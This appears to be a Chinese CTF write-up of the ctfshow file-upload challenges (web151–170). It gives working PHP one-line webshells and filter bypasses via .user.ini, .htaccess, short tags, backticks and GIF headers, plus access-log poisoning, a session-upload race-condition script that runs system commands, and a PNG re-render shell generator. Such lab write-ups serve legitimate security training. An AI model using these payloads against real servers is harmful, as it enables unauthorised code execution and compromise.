ctfshow 文件上传模块
文件上传
web151

这道题是在前端对文件进行校验,由于在前端就对文件进行了校验,所以抓包是无效的,我们可以修改网页的源代码解决


然后上传一句话木马,拿下后台


web152

这道题先是和上题一样的前端验证,然后后端还有一个验证,前端验证我们依旧是改源码

然就是对付后端验证,我们先随便上传一张图片拿到图片的文件类型名

image/png然后把我们muma文件的文件类型修改成一样的

这里其实已经拿下了,我们根据之前的路径用蚁剑连接

web153
和上题一样的前端验证和后端验证,但修改文件类型并不能绕过后端验证

进行了测试,发现他不仅检测文件类型,还会检测文件后缀,改了文件后缀就能传了

但这样的话他就不能解析了,所以我们要更换思路,可以通过写.user.ini,可以让指定的文件(包括图片)解析到默认的主页,也就是index中 , 用人话讲就是.user.ini可以把你指定的一个文件包含到这个目录下任意一个会以php执行的文件中(比如index.php、test.php),当你访问index.php后这个被你指定的文件,无论后缀是什么,都会以php的方式进行读取,所以可以绕过后端检测 这个题目用了文件上传+本地文件包含
auto_prepend_file = muma.png⚠️ 注意:
• 可以选择 auto_prepend_file 或 auto_append_file,区别如下:
• auto_prepend_file:在木马文件上传之前上传,优先包含。
• auto_append_file:在木马文件上传之后上传,延后包含。
我们先上传一句话木马,并且修改后缀
然后利用抓包上传ini配置文件,这里对后缀的检测应该是黑名单制,ini文件修改了类型就能传上去了

然后我们随便访问一个php连接就行,这里我用的是index.php,注意由于是上传两个文件,所以不能用重放器

web154

依旧是前端验证加后端验证,这里哪怕改了后缀也无法上传
依旧先传配置文件,后传木马

这里可能是对文件内容进行了过滤,因为我随便搞了个php文件,再改名成png,发现可以正常上传

测试了下,是对php 进行了过滤,我们可以用短标签生成一句话木马
<?=@eval($_POST[1]);?> 

web155
web155和web154的区别在于upload.php对于字符检测所使用的函数不同 两段代码的主要差异在于检查文件内容是否包含“php”字符串时使用的函数: 154代码使用 strrpos($content, "php") == FALSE: strrpos 查找字符串中“php”最后一次出现的位置(区分大小写),返回位置索引或 FALSE。 如果文件内容中包含“php”(如 <?php),strrpos 返回非 FALSE,导致上传失败,返回错误代码 code=>3 和消息“文件内容不合规”。 155代码使用 stripos($content, "php") === FALSE: stripos 类似 strrpos,但不区分大小写,查找“php”第一次出现的位置。 使用严格比较 === FALSE,检查是否完全没有找到“php”(如 PHP 或 php)。 如果文件内容包含“php”或“PHP”,上传失败,返回错误代码 code=>2 和消息“文件类型不合规”。 如果154使用php短标签,则可以通杀这道题
web156
依旧是和之前一样的前端验证加后端验证,虽然ini配置文件传上去了,但木马又传不上去了,

排查原因,发现是过滤了中括号,那我们可以用大括号进行绕过,payload为
<?=@eval($_POST{1})?>

web157
前面还是一样的前端验证和后端验证,我们先照常上传ini配置文件,然后去检查过滤的元素,发现大括号也被过滤了,除此之外;也被过滤了

那我们可以直接命令执行不依靠蚁剑
<?=@system("tac ../flag.*")?>
web159
还是和前面一样的验证,不过这里后端多了对小括号的过滤

我们可以用反引号解决 tac ../flag.*,不要忘记目录穿越的../


web160
我们发现之前的配置文件传不上去了,但如果是空的.user.ini是可以正常传的,我们考虑内容被过滤了

原来是把空格过滤了,这里删除空格不影响,在muma文件里,我们可以用$IFS$9的方法绕过空格,但注意,由于这里用不了{},为了不让$IFS$9被当成变量,我们要进行转义,不过麻烦的事``也被过滤了,那我们可以尝试日志包含上传文件,由于这里log也被过滤,所以我们考虑用.拼接字符串
我们构建木马
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
我们可以看到UA信息,那就把一句话木马写在UA头里


web161
我们和以前一样传配置文件,发现传不上去了,这道题其实多了对文件头的检查,不过png的头太麻烦了,我们在配置文件里插入gif头
GIF89a
auto_prepend_file=muma.pngauto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入
一句话木马里也要,然后就和上面一样了


web162-163
别的都继承前面的检测,不过这道题把.也一并过滤了,这导致我们配置文件都得修改,而且上传的文件会删除,我们考虑用session竞争
我们先上传配置文件
GIF89a
auto_prepend_file=png然后上传一个png文件,内容是
GIF89a <?=include"/tmp/sess_1"?>然后运行脚本
import requests
import threading
import re
session = requests.session()
sess = 'hhh' #之前上传时自拟的名字
url1 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/"
url2 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/upload"
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
'file': 'yu22x tql' #文件名,随便改就行
}
cookies = {
'PHPSESSID': sess
}
def write(): #上传文件竞争过程
while True:
r = session.post(url1, data=data1, files=file, cookies=cookies)
def read():
while True: #每次竞争完都访问一下url/uoload看有没有flag
r = session.get(url2)
if 'flag' in r.text:
flag=re.compile('ctfshow{.+}') #我在做题的时候flag格式已经改成ctfshow{}了
print(flag.findall(r.text))
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
web164
png的二次渲染马
png文件组成
png图片由3个以上的数据块组成.
PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们.
CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:
x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1
分析数据块
IHDR
数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。
PLTE
调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。
IDAT
图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。
IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像
IEND
图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。
如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:
00 00 00 00 49 45 4E 44 AE 42 60 82
对于png的二次渲染马,我们可以写入IDAT
直接跑脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>我们直接运行脚本,生成文件再上传

在上面输入&0然后输入你要用的方法,在post传参处传1,输入你的命令,抓包


web165
同样是二次渲染马的应用,不过这道题是jpg文件的二次渲染,我们先随便找个正常的jpg文件,上传上去让网页对它进行二次渲染

我们运行脚本,对其继续修改,再次上传

蚁剑拿下后台
web166
这道题和之前的不同的是,他要求的文件是zip文件而不是图片文件,我们直接写一个一句话木马,再把它变成zip文件上传

然后我们在下载文件那里复制连接,得到文件地址



web167
由于提示httpd,我们知道了这个中间件是apache,那我们就要写apache对应的配置文件.htaccess
<FilesMatch ".jpg">
SetHandler application/x-httpd-php
</FilesMatch>这个配置文件可以让apache服务器把所有jpg文件当成php文件读取,从而解析木马
我们先修改文件后缀变成.jpg,然后抓包修改文件信息把配置文件传上去


然后上传一句话修改了后缀的木马

复制链接,拿下后台

web168
对一句话木马有许多的过滤,比如system、eval还有include全都不行了
那我们可以用反引号来解决,先ls读一下文件列表
<?=`ls ..`;
然后直接读取就行了


web169-170
这里过滤了<,我们要考虑日志包含,由于日志包含要有index.php,所以我们先人为上传一个上去,内容随意
然后我们上传新写的配置文件,让其进行日志读取
auto_prepend_file=/var/log/nginx/access.log

